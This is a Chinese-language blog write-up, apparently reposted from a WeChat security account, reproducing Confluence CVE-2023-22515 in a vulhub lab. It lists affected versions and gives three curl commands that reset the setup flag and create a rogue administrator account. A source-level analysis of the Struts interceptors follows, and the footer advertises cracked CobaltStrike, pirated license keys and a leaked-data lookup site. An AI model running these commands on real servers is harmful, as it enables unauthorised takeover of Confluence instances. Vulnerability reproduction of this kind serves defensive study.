Confluence CVE-2023-22515漏洞复现

admin 2023年10月26日02:32:26评论65 views字数 4405阅读14分41秒阅读模式

影响版本:

8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1

Exploit:

curl http://127.0.0.1:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&[email protected]&password=leet&confirm=leet&setup-next-button=Next" http://127.0.0.1:8090/setup/setupadministrator.action;
curl -X POST -H "X-Atlassian-Token: no-check" http://127.0.0.1:8090/setup/finishsetup.action

docker-compose.yml

version: '2'
services:
  web:
    image: vulhub/confluence:8.5.1
    ports:
      - "8090:8090"
      - "5050:5050"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment:
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

先引用一张图

Confluence CVE-2023-22515漏洞复现

先定位到 setupadministrator.action

com.atlassian.confluence_confluence-8.5.1/struts.xml

Confluence CVE-2023-22515漏洞复现

可以看到处理的 class 是 com.atlassian.confluence.setup.actions.SetupAdministrator,先经过 defaultSetupStack 的拦截器

<action name="setupadministrator-start" class="com.atlassian.confluence.setup.actions.SetupAdministrator" method="doDefault">
    <interceptor-ref name="defaultSetupStack"/>
    <result name="input" type="velocity">/setup/setupadministrator.vm</result>
    <result name="error" type="velocity">/setup/setupadministrator.vm</result>
</action>

<action name="setupadministrator" class="com.atlassian.confluence.setup.actions.SetupAdministrator">
    <result name="input" type="velocity">/setup/setupadministrator.vm</result>
    <result name="error" type="velocity">/setup/setupadministrator.vm</result>
    <result name="success" type="redirect">finishsetup.action</result>
    <result name="custom-setup" type="redirect">finishsetup.action</result>
    <result name="quick-setup" type="redirect">finishsetup.action</result>
</action>

defaultSetupStack 拦截器里有一个 setupcheck 检测

<interceptor-stack name="setupStack">
    <interceptor-ref name="setup"/>
</interceptor-stack>

<interceptor-stack name="defaultSetupStack">
    <interceptor-ref name="setupStack"/>
    <interceptor-ref name="defaultStack"/>
</interceptor-stack>

Confluence CVE-2023-22515漏洞复现

经过动态调试大概逻辑是

第一次执行
return BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup() ? "alreadysetup" : actionInvocation.invoke(); -> Fasle->actionInvocation.invoke();

第二次执行两边的 isSetupComplete 都返回 true。由于返回是 true 所以是返回 alreadysetup

BootstrapUtils.getBootstrapManager().isSetupComplete() 会返回 setupComplete 的值,如果是已经安装则返回 true

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

而第一次 ContainerManager.isContainerSetup() 不存在则返回 false

Confluence CVE-2023-22515漏洞复现

一真一假返回假,走到 actionInvocation.invoke();,在 com/opensymphony/xwork2/DefaultActionInvocation.class 第 203行 会再次执行 SetupCheckInterceptor.intercept。由于第二次两边都是 true 所以返回 alreadysetup 字符串

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

最后 ResultCode 是 alreadysetup,检测为已经安装

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

该漏洞将 bootstrapStatusProvider.applicationConfig.setupComplete 设置为 false。在这里将不会返回 alreadysetup,也就是说我们在设置了 setupComplete 属性为 false 后;在下一次访问 /setup/* 目录下触发 setupComplete 拦截器前将一直有效

最后漏洞点是出现在,重写拦截器的点上

<interceptor name="params" class="com.atlassian.xwork.interceptors.SafeParametersInterceptor"/>

Confluence CVE-2023-22515漏洞复现

当请求的 payload 经过 isSafeParameterName 的匹配,最后会去到 stack.setValue()

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

(然而我动态调试就是断不到这),那你问我,我怎么知道在地方是漏洞点,他钩子就这一个地方能控制不是这也没别的了

这里还需要设置一手 X-Atlassian-Token: no-check 的原因还是拦截器有检测

<interceptor name="xsrfToken" class="com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor"/>
<interceptor-ref name="xsrfToken"/>

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

Confluence CVE-2023-22515漏洞复现

Exploit

Confluence CVE-2023-22515漏洞复现

参考链接

https://mp.weixin.qq.com/s?__biz=MzkxMzM3NjMxOQ==&mid=2247483685&idx=1&sn=54b435180042beb9b709d1553bc3f5ab&chksm=c17fd475f6085d634f1c529148f7f825400ffe899c51e181193e6bdf7cbd5d01c4697557104a&mpshare=1&scene=1&srcid=1018qojPYalTqmkCEJMtpr6x&sharer_shareinfo=600bda857d36789f7e9d9b21356b7250&sharer_shareinfo_first=600bda857d36789f7e9d9b21356b7250#rd


Confluence CVE-2023-22515漏洞复现

关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境0006 获取 CobaltStrike 4.9破解版


加我微信好友,邀请你进交流群


Confluence CVE-2023-22515漏洞复现



往期推荐

对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

Cobalt Strike 4.8 正式发布上线!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE

COM接口学习与利用

域渗透之NTLM Relay

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

KKCMS 1.371 代码审计

日常记录对某站点的实战渗透

国产之光IDE,自带国产特色VIP功能!

善攻者,动于九天之上。善守者,藏于九地之下!

红蓝对抗,强则强,弱则亡!

谈一谈我是如何入门安全的,七年安全生涯总结

备用号,欢迎关注


Confluence CVE-2023-22515漏洞复现

原文始发于微信公众号(刨洞安全团队):Confluence CVE-2023-22515漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月26日02:32:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Confluence CVE-2023-22515漏洞复现http://cn-sec.com/archives/2137047.html

发表评论

匿名网友 填写信息